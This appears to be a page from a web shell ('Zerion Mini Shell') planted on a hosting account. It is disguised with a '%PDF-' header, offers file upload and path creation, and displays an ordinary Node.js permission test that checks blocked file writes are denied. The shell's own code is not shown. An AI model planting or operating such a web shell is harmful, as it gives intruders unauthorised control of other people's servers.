%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/test-permission-fs-write.js

// Flags: --experimental-permission --allow-fs-read=* --allow-child-process
'use strict';

const common = require('../common');
common.skipIfWorker();
if (!common.hasCrypto)
  common.skip('no crypto');

const assert = require('assert');
const path = require('path');
const { spawnSync } = require('child_process');
const fixtures = require('../common/fixtures');

const blockedFolder = fixtures.path('permission', 'deny', 'protected-folder');
const blockedFile = fixtures.path('permission', 'deny', 'protected-file.md');
const relativeProtectedFile = './test/fixtures/permission/deny/protected-file.md';
const relativeProtectedFolder = './test/fixtures/permission/deny/protected-folder';

const commonPath = path.join(__filename, '../../common');
const regularFile = fixtures.path('permission', 'deny', 'regular-file.md');
const file = fixtures.path('permission', 'fs-write.js');

{
  const { status, stderr } = spawnSync(
    process.execPath,
    [
      '--experimental-permission',
      '--allow-fs-read=*',
      `--allow-fs-write=${regularFile}`, `--allow-fs-write=${commonPath}`,
      file,
    ],
    {
      env: {
        ...process.env,
        BLOCKEDFILE: blockedFile,
        BLOCKEDFOLDER: blockedFolder,
        RELATIVEBLOCKEDFOLDER: relativeProtectedFolder,
        RELATIVEBLOCKEDFILE: relativeProtectedFile,
        ALLOWEDFILE: regularFile,
        ALLOWEDFOLDER: commonPath,
      },
    }
  );
  assert.strictEqual(status, 0, stderr.toString());
}

Zerion Mini Shell 1.0